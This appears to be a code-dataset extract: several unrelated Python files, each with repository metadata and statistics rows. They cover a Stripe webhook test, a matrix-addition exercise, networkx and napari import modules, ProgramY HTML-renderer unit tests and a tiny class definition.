null, "tokenization_method": null}, "source_transfer": null, "statement_descriptor": null, "statement_descriptor_suffix": null, "status": "succeeded", "transfer_data": null, "transfer_group": null}, "previous_attributes": {"amount_refunded": 0, "refunded": false, "refunds": {"data": [], "total_count": 0}}}, "livemode": false, "pending_webhooks": 3, "request": {"id": "req_I1sL6KvveyA7Bp", "idempotency_key": null}, "type": "charge.refunded"}
"""
stripe_api.webhook_api.verify("unique_signature", body)
mock_generic_func.assert_called_once_with(
event="charge.refunded",
data={
"id": "ch_1FZpUgHv0Y0PURSqfcRHxRDP",
"amount": 20.0,
"currency": "usd",
"customer": None,
"payment_details": {
"brand": "visa",
"checks": {
"address_line1_check": None,
"address_postal_code_check": None,
"cvc_check": None,
},
"country": "US",
"exp_month": 11,
"exp_year": 2020,
"fingerprint": "yIwZJF6Qz10rsS7J",
"funding": "credit",
"installments": None,
"last4": "4242",
"network": "visa",
"three_d_secure": None,
"wallet": None,
},
"status": "succeeded",
"amount_refunded": 20.0,
"failure": {},
"outcome": {
"network_status": "approved_by_network",
"reason": None,
"risk_level": "normal",
"risk_score": 51,
"seller_message": "Payment complete.",
"type": "authorized",
},
},
)
| 72.333333 | 2,284 | 0.594959 | 1,397 | 14,322 | 5.848962 | 0.161775 | 0.032309 | 0.018725 | 0.014319 | 0.777016 | 0.74691 | 0.738343 | 0.73614 | 0.694774 | 0.676784 | 0 | 0.043153 | 0.234674 | 14,322 | 197 | 2,285 | 72.700508 | 0.702308 | 0 | 0 | 0.521978 | 0 | 0.043956 | 0.743646 | 0.124885 | 0 | 0 | 0 | 0 | 0.016484 | 1 | 0.038462 | false | 0 | 0.021978 | 0 | 0.065934 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2dbe986f44159abd59f294917bf3bfce93f5279a | 235 | py | Python | Chapter02/add_matrix_elements.py | aaltopiiri/-The-Python-Workshop | 42e41198a109a19f39a4c545cdb830851c41b0a1 | [
"MIT"
] | null | null | null | Chapter02/add_matrix_elements.py | aaltopiiri/-The-Python-Workshop | 42e41198a109a19f39a4c545cdb830851c41b0a1 | [
"MIT"
] | null | null | null | Chapter02/add_matrix_elements.py | aaltopiiri/-The-Python-Workshop | 42e41198a109a19f39a4c545cdb830851c41b0a1 | [
"MIT"
] | null | null | null | x = [[1, 2, 3],[4, 5, 6],[7, 8, 9]]
y = [[10, 11, 12],[13, 14, 15],[16, 17, 18]]
z = [[0, 0, 0],[0, 0, 0],[0, 0, 0]]
for i in range(len(x)):
for j in range (len(x[i])):
z[i][j]=x[i][j]+y[i][j]
print(z[i][j],end=' ') | 33.571429 | 44 | 0.382979 | 57 | 235 | 1.578947 | 0.526316 | 0.177778 | 0.233333 | 0.266667 | 0.1 | 0.1 | 0.1 | 0.1 | 0 | 0 | 0 | 0.20339 | 0.246809 | 235 | 7 | 45 | 33.571429 | 0.305085 | 0 | 0 | 0 | 0 | 0 | 0.004237 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2dc01011d7304f6979cd6be6254e73853533b3d8 | 6,318 | py | Python | networkx/algorithms/__init__.py | SultanOrazbayev/networkx | 5be9755636fa4da71da2e28f8467336d3c0164a7 | [
"BSD-3-Clause"
] | 10,024 | 2015-01-01T13:06:43.000Z | 2022-03-31T12:45:25.000Z | networkx/algorithms/__init__.py | SultanOrazbayev/networkx | 5be9755636fa4da71da2e28f8467336d3c0164a7 | [
"BSD-3-Clause"
] | 3,191 | 2015-01-01T18:13:11.000Z | 2022-03-31T22:06:00.000Z | networkx/algorithms/__init__.py | SultanOrazbayev/networkx | 5be9755636fa4da71da2e28f8467336d3c0164a7 | [
"BSD-3-Clause"
] | 3,272 | 2015-01-01T05:04:53.000Z | 2022-03-31T17:46:35.000Z | from networkx.algorithms.assortativity import *
from networkx.algorithms.asteroidal import *
from networkx.algorithms.boundary import *
from networkx.algorithms.bridges import *
from networkx.algorithms.chains import *
from networkx.algorithms.centrality import *
from networkx.algorithms.chordal import *
from networkx.algorithms.cluster import *
from networkx.algorithms.clique import *
from networkx.algorithms.communicability_alg import *
from networkx.algorithms.components import *
from networkx.algorithms.coloring import *
from networkx.algorithms.core import *
from networkx.algorithms.covering import *
from networkx.algorithms.cycles import *
from networkx.algorithms.cuts import *
from networkx.algorithms.d_separation import *
from networkx.algorithms.dag import *
from networkx.algorithms.distance_measures import *
from networkx.algorithms.distance_regular import *
from networkx.algorithms.dominance import *
from networkx.algorithms.dominating import *
from networkx.algorithms.efficiency_measures import *
from networkx.algorithms.euler import *
from networkx.algorithms.graphical import *
from networkx.algorithms.hierarchy import *
from networkx.algorithms.hybrid import *
from networkx.algorithms.link_analysis import *
from networkx.algorithms.link_prediction import *
from networkx.algorithms.lowest_common_ancestors import *
from networkx.algorithms.isolate import *
from networkx.algorithms.matching import *
from networkx.algorithms.minors import *
from networkx.algorithms.mis import *
from networkx.algorithms.moral import *
from networkx.algorithms.non_randomness import *
from networkx.algorithms.operators import *
from networkx.algorithms.planarity import *
from networkx.algorithms.planar_drawing import *
from networkx.algorithms.reciprocity import *
from networkx.algorithms.regular import *
from networkx.algorithms.richclub import *
from networkx.algorithms.shortest_paths import *
from networkx.algorithms.similarity import *
from networkx.algorithms.graph_hashing import *
from networkx.algorithms.simple_paths import *
from networkx.algorithms.smallworld import *
from networkx.algorithms.smetric import *
from networkx.algorithms.structuralholes import *
from networkx.algorithms.sparsifiers import *
from networkx.algorithms.summarization import *
from networkx.algorithms.swap import *
from networkx.algorithms.traversal import *
from networkx.algorithms.triads import *
from networkx.algorithms.vitality import *
from networkx.algorithms.voronoi import *
from networkx.algorithms.wiener import *
# Make certain subpackages available to the user as direct imports from
# the `networkx` namespace.
from networkx.algorithms import approximation
from networkx.algorithms import assortativity
from networkx.algorithms import bipartite
from networkx.algorithms import node_classification
from networkx.algorithms import centrality
from networkx.algorithms import chordal
from networkx.algorithms import cluster
from networkx.algorithms import clique
from networkx.algorithms import components
from networkx.algorithms import connectivity
from networkx.algorithms import community
from networkx.algorithms import coloring
from networkx.algorithms import flow
from networkx.algorithms import isomorphism
from networkx.algorithms import link_analysis
from networkx.algorithms import lowest_common_ancestors
from networkx.algorithms import operators
from networkx.algorithms import shortest_paths
from networkx.algorithms import tournament
from networkx.algorithms import traversal
from networkx.algorithms import tree
# Make certain functions from some of the previous subpackages available
# to the user as direct imports from the `networkx` namespace.
from networkx.algorithms.bipartite import complete_bipartite_graph
from networkx.algorithms.bipartite import is_bipartite
from networkx.algorithms.bipartite import project
from networkx.algorithms.bipartite import projected_graph
from networkx.algorithms.connectivity import all_pairs_node_connectivity
from networkx.algorithms.connectivity import all_node_cuts
from networkx.algorithms.connectivity import average_node_connectivity
from networkx.algorithms.connectivity import edge_connectivity
from networkx.algorithms.connectivity import edge_disjoint_paths
from networkx.algorithms.connectivity import k_components
from networkx.algorithms.connectivity import k_edge_components
from networkx.algorithms.connectivity import k_edge_subgraphs
from networkx.algorithms.connectivity import k_edge_augmentation
from networkx.algorithms.connectivity import is_k_edge_connected
from networkx.algorithms.connectivity import minimum_edge_cut
from networkx.algorithms.connectivity import minimum_node_cut
from networkx.algorithms.connectivity import node_connectivity
from networkx.algorithms.connectivity import node_disjoint_paths
from networkx.algorithms.connectivity import stoer_wagner
from networkx.algorithms.flow import capacity_scaling
from networkx.algorithms.flow import cost_of_flow
from networkx.algorithms.flow import gomory_hu_tree
from networkx.algorithms.flow import max_flow_min_cost
from networkx.algorithms.flow import maximum_flow
from networkx.algorithms.flow import maximum_flow_value
from networkx.algorithms.flow import min_cost_flow
from networkx.algorithms.flow import min_cost_flow_cost
from networkx.algorithms.flow import minimum_cut
from networkx.algorithms.flow import minimum_cut_value
from networkx.algorithms.flow import network_simplex
from networkx.algorithms.isomorphism import could_be_isomorphic
from networkx.algorithms.isomorphism import fast_could_be_isomorphic
from networkx.algorithms.isomorphism import faster_could_be_isomorphic
from networkx.algorithms.isomorphism import is_isomorphic
from networkx.algorithms.tree.branchings import maximum_branching
from networkx.algorithms.tree.branchings import maximum_spanning_arborescence
from networkx.algorithms.tree.branchings import minimum_branching
from networkx.algorithms.tree.branchings import minimum_spanning_arborescence
from networkx.algorithms.tree.branchings import ArborescenceIterator
from networkx.algorithms.tree.coding import *
from networkx.algorithms.tree.decomposition import *
from networkx.algorithms.tree.mst import *
from networkx.algorithms.tree.operations import *
from networkx.algorithms.tree.recognition import *
| 48.976744 | 77 | 0.868154 | 779 | 6,318 | 6.93068 | 0.17715 | 0.271161 | 0.497129 | 0.311169 | 0.453973 | 0.308576 | 0.25727 | 0.123727 | 0.03334 | 0.03334 | 0 | 0 | 0.083571 | 6,318 | 128 | 78 | 49.359375 | 0.93247 | 0.035929 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2ddd7cf54ece7ec7f6ee4e0d74edd7c41af92128 | 24 | py | Python | elones/__init__.py | nestorp/claim-diff_elones | 3fe2c41fd39064d3fd210220d921ccf11e62880a | [
"MIT"
] | null | null | null | elones/__init__.py | nestorp/claim-diff_elones | 3fe2c41fd39064d3fd210220d921ccf11e62880a | [
"MIT"
] | null | null | null | elones/__init__.py | nestorp/claim-diff_elones | 3fe2c41fd39064d3fd210220d921ccf11e62880a | [
"MIT"
] | null | null | null | from elones.elo import * | 24 | 24 | 0.791667 | 4 | 24 | 4.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 24 | 1 | 24 | 24 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
932d3793483ebd52c5ee38df69cd292616dd870c | 37 | py | Python | napari/_qt/layers/__init__.py | OKaluza/napari | 95a6afbbdb54a530b1eaca23037b8f98c7c8b064 | [
"BSD-3-Clause"
] | null | null | null | napari/_qt/layers/__init__.py | OKaluza/napari | 95a6afbbdb54a530b1eaca23037b8f98c7c8b064 | [
"BSD-3-Clause"
] | 4 | 2019-12-08T20:20:44.000Z | 2020-01-16T21:57:33.000Z | napari/_qt/layers/__init__.py | OKaluza/napari | 95a6afbbdb54a530b1eaca23037b8f98c7c8b064 | [
"BSD-3-Clause"
] | null | null | null | from .util import create_qt_controls
| 18.5 | 36 | 0.864865 | 6 | 37 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9332f75cb33857029582335c48fdabe5a50b32cd | 18,900 | py | Python | test/programytest/clients/render/test_html.py | cdoebler1/AIML2 | ee692ec5ea3794cd1bc4cc8ec2a6b5e5c20a0d6a | [
"MIT"
] | 345 | 2016-11-23T22:37:04.000Z | 2022-03-30T20:44:44.000Z | test/programytest/clients/render/test_html.py | MikeyBeez/program-y | 00d7a0c7d50062f18f0ab6f4a041068e119ef7f0 | [
"MIT"
] | 275 | 2016-12-07T10:30:28.000Z | 2022-02-08T21:28:33.000Z | test/programytest/clients/render/test_html.py | VProgramMist/modified-program-y | f32efcafafd773683b3fe30054d5485fe9002b7d | [
"MIT"
] | 159 | 2016-11-28T18:59:30.000Z | 2022-03-20T18:02:44.000Z | import unittest
import unittest.mock
from programy.clients.render.html import HtmlRenderer
class MockHtmlBotClient(object):
def __init__(self):
self._response = None
self.configuration = unittest.mock.Mock()
self.configuration.host = "127.0.0.1"
self.configuration.port = "6666"
self.configuration.api = "/api/web/v1.0/ask"
def process_response(self, client_context, response):
self._response = response
class HtmlRendererTests(unittest.TestCase):
def test_create_postback_url(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
postback = renderer.create_postback_url()
self.assertIsNotNone(postback)
self.assertEqual(postback, "#")
def test_text_only(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "Hello world")
self.assertEqual(mock_console._response, "Hello world")
def test_url_button(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<button"><text>Hello</text><url>http://click.me</url></button>')
self.assertEqual(mock_console._response, '<a class="programy" href="http://click.me">Hello</a>')
def test_url_button_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<button class="class1" id="id1"><text>Hello</text><url>http://click.me</url></button>')
self.assertEqual(mock_console._response, '<a class="class1 programy" id="id1" href="http://click.me">Hello</a>')
def test_postback_button(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<button><text>Hello</text><postback>HELLO</postback></button>")
self.assertEqual(mock_console._response, '<a class="programy" postback="HELLO" href="#">Hello</a>')
def test_postback_button_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<button class="class1" id="id1"><text>Hello</text><postback>HELLO</postback></button>')
self.assertEqual(mock_console._response, '<a class="class1 programy" id="id1" postback="HELLO" href="#">Hello</a>')
def test_link(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<link><text>Hello</text><url>http://click.me</url></link>")
self.assertEqual(mock_console._response, '<a class="programy" href="http://click.me">Hello</a>')
def test_link_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<link class="class1" id="id1"><text>Hello</text><url>http://click.me</url></link>')
self.assertEqual(mock_console._response, '<a class="class1 programy" id="id1" href="http://click.me">Hello</a>')
def test_image(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<image>http://servusai.com/aiml.png</image>')
self.assertEqual(mock_console._response, '<img class="programy" src="http://servusai.com/aiml.png" />')
def test_image_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<image class="class1" id="id1">http://servusai.com/aiml.png</image>')
self.assertEqual(mock_console._response, '<img class="class1 programy" id="id1" src="http://servusai.com/aiml.png" />')
def test_video(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<video>http://servusai.com/aiml.mov</video>")
self.assertEqual(mock_console._response, """<video class="programy" src="http://servusai.com/aiml.mov">
Sorry, your browser doesn't support embedded videos,
but don't worry, you can <a href="http://servusai.com/aiml.mov">download it</a>
and watch it with your favorite video player!
</video>""")
def test_video_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<video class="class1" id="id1">http://servusai.com/aiml.mov</video>')
self.assertEqual(mock_console._response, """<video class="class1 programy" id="id1" src="http://servusai.com/aiml.mov">
Sorry, your browser doesn't support embedded videos,
but don't worry, you can <a href="http://servusai.com/aiml.mov">download it</a>
and watch it with your favorite video player!
</video>""")
def test_card(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>')
self.assertEqual(mock_console._response, '<div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>')
def test_card_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<card class="class1" id="id1"><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>')
self.assertEqual(mock_console._response, '<div class="class1 programy" id="id1"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>')
def test_carousel(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<carousel><card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card></carousel>")
self.assertEqual(mock_console._response, '<div class="programy"><div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div></div>')
def test_carousel_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<carousel class="class1" id="id1"><card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card></carousel>')
self.assertEqual(mock_console._response, '<div class="class1 programy" id="id1"><div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div></div>')
def test_reply_with_postback(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<reply><text>Hello</text><postback>HELLO</postback></reply>")
self.assertEqual(mock_console._response, '<a class="programy" postback="HELLO" href="#">Hello</a>')
def test_reply_with_postback_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<reply class="class1" id="id1"><text>Hello</text><postback>HELLO</postback></reply>')
self.assertEqual(mock_console._response, '<a class="class1 programy" id="id1" postback="HELLO" href="#">Hello</a>')
def test_reply_without_postback(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<reply><text>Hello</text></reply>")
self.assertEqual(mock_console._response, '<a class="programy" postback="Hello" href="#">Hello</a>')
def test_reply_without_postback_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<reply class="class1" id="id1"><text>Hello</text></reply>')
self.assertEqual(mock_console._response, '<a class="class1 programy" id="id1" postback="Hello" href="#">Hello</a>')
def test_delay(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<delay><seconds>0</seconds></delay>")
self.assertEqual(mock_console._response, '<div class="programy">...</div>')
def test_delay_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<delay class="class1" id="id1" ><seconds>0</seconds></delay>')
self.assertEqual(mock_console._response, '<div class="class1 programy" id="id1">...</div>')
def test_split(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<split />")
self.assertEqual(mock_console._response, '<br class="programy" />')
def test_split_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<split class="class1" id="id1"/>')
self.assertEqual(mock_console._response, '<br class="class1 programy" id="id1" />')
def test_list(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<list><item>Item1</item><item>Item2</item></list>')
self.assertEqual(mock_console._response, '<ul class="programy"><li>Item1</li><li>Item2</li></ul>')
def test_list_with_children(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<list><item>Hi</item><item><button"><text>Hello</text><url>http://click.me</url></button></item><item><button"><text>Goodbye</text><url>http://click.me</url></button></item></list>')
print(mock_console._response)
self.assertEqual(mock_console._response, '<ul class="programy"><li>Hi</li><li><a class="programy" postback="Hello" href="#">Hello</a></li><li><a class="programy" postback="Goodbye" href="#">Goodbye</a></li></ul>')
def test_list_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<list class="class1" id="id1"><item>Item1</item><item>Item2</item></list>')
self.assertEqual(mock_console._response, '<ul class="class1 programy" id="id1"><li>Item1</li><li>Item2</li></ul>')
def test_olist(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<olist><item>Item1</item><item>Item2</item></olist>")
self.assertEqual(mock_console._response, '<ol class="programy"><li>Item1</li><li>Item2</li></ol>')
def test_olist_with_children(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<olist><item>Hi</item><item><button"><text>Hello</text><url>http://click.me</url></button></item><item><button"><text>Goodbye</text><url>http://click.me</url></button></item></olist>')
print(mock_console._response)
self.assertEqual(mock_console._response, '<ol class="programy"><li>Hi</li><li><a class="programy" postback="Hello" href="#">Hello</a></li><li><a class="programy" postback="Goodbye" href="#">Goodbye</a></li></ol>')
def test_olist_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<olist class="class1" id="id1"><item>Item1</item><item>Item2</item></olist>')
self.assertEqual(mock_console._response, '<ol class="class1 programy" id="id1"><li>Item1</li><li>Item2</li></ol>')
def test_location(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", "<location />")
self.assertEqual(mock_console._response, "")
def test_location(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<location />')
self.assertEqual(mock_console._response, "")
def test_location_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
renderer.render("testuser", '<location class="class1 programy" id="id1"/>')
self.assertEqual(mock_console._response, "")
def test_tts(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<tts>Some speech</tts>')
self.assertEqual(rendered, '')
def test_tts_with_class_and_id(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<tts class="class1 programy" id="id1">Some speech</tts>')
self.assertEqual(rendered, '')
def test_card_with_xml_at_front(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<something>Some speech</something><card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>')
self.assertEqual(rendered, '<something>Some speech</something><div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>')
def test_card_with_xml_at_end(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card><something>Some speech</something>')
self.assertEqual(rendered, '<div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div><something>Some speech</something>')
def test_card_with_xml_at_front_and_end(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<something>Some speech</something><card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card><something>Some speech</something>')
self.assertEqual(rendered, '<something>Some speech</something><div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div><something>Some speech</something>')
def test_card_with_text_at_front(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", 'Hello<card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>')
self.assertEqual(rendered, 'Hello<div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>')
def test_card_with_text_at_end(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", '<card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>Hello')
self.assertEqual(rendered, '<div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>Hello')
def test_card_with_text_at_front_and_end(self):
mock_console = MockHtmlBotClient()
renderer = HtmlRenderer(mock_console)
self.assertIsNotNone(renderer)
rendered = renderer.render("testuser", 'Hello<card><image>http://servusai.com/aiml.png</image><title>Servusai</title><subtitle>Home of ProgramY</subtitle><button><text>Hello</text><url>http://click.me</url></button></card>Hello')
self.assertEqual(rendered, 'Hello<div class="programy"><img src="http://servusai.com/aiml.png" /><h1>Servusai</h1><h2>Home of ProgramY</h2><a href="http://click.me">Hello</a></div>Hello')
| 47.487437 | 295 | 0.682751 | 2,275 | 18,900 | 5.536703 | 0.053626 | 0.101302 | 0.048825 | 0.10416 | 0.945538 | 0.93625 | 0.931566 | 0.916799 | 0.904097 | 0.886631 | 0 | 0.007859 | 0.151693 | 18,900 | 397 | 296 | 47.607053 | 0.777771 | 0 | 0 | 0.548148 | 0 | 0.166667 | 0.416243 | 0.079365 | 0 | 0 | 0 | 0 | 0.307407 | 1 | 0.159259 | false | 0 | 0.011111 | 0 | 0.177778 | 0.007407 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
937455ce267a0a002317e3699b375f3d42927b0c | 43 | py | Python | tests/src/preprocess/pack/__init__.py | pystatic/pystatic | e93d372e46adf8a8f697a71b80f3c88d26272607 | [
"MIT"
] | null | null | null | tests/src/preprocess/pack/__init__.py | pystatic/pystatic | e93d372e46adf8a8f697a71b80f3c88d26272607 | [
"MIT"
] | null | null | null | tests/src/preprocess/pack/__init__.py | pystatic/pystatic | e93d372e46adf8a8f697a71b80f3c88d26272607 | [
"MIT"
] | null | null | null | class Pack:
pass
pack: Pack = Pack()
